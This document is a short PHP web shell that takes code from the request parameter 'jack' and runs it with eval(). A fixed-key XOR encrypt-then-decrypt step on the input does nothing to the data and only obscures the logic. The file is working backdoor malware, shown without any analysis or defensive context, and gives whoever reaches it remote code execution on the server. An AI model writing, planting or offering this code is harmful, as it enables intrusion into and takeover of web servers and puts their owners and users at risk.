<?php
//post jack
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}

$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("pipe", "w")
);
$a=$_REQUEST["jack"];
$key="JLJBLDALS";
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);

$process = proc_open(@eval($a), $descriptorspec, $pipes, NULL, NULL);

if (is_resource($process)) {
    $stdout = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    fclose($pipes[0]);
    echo "$stdout";
    $return_value = proc_close($process);

}
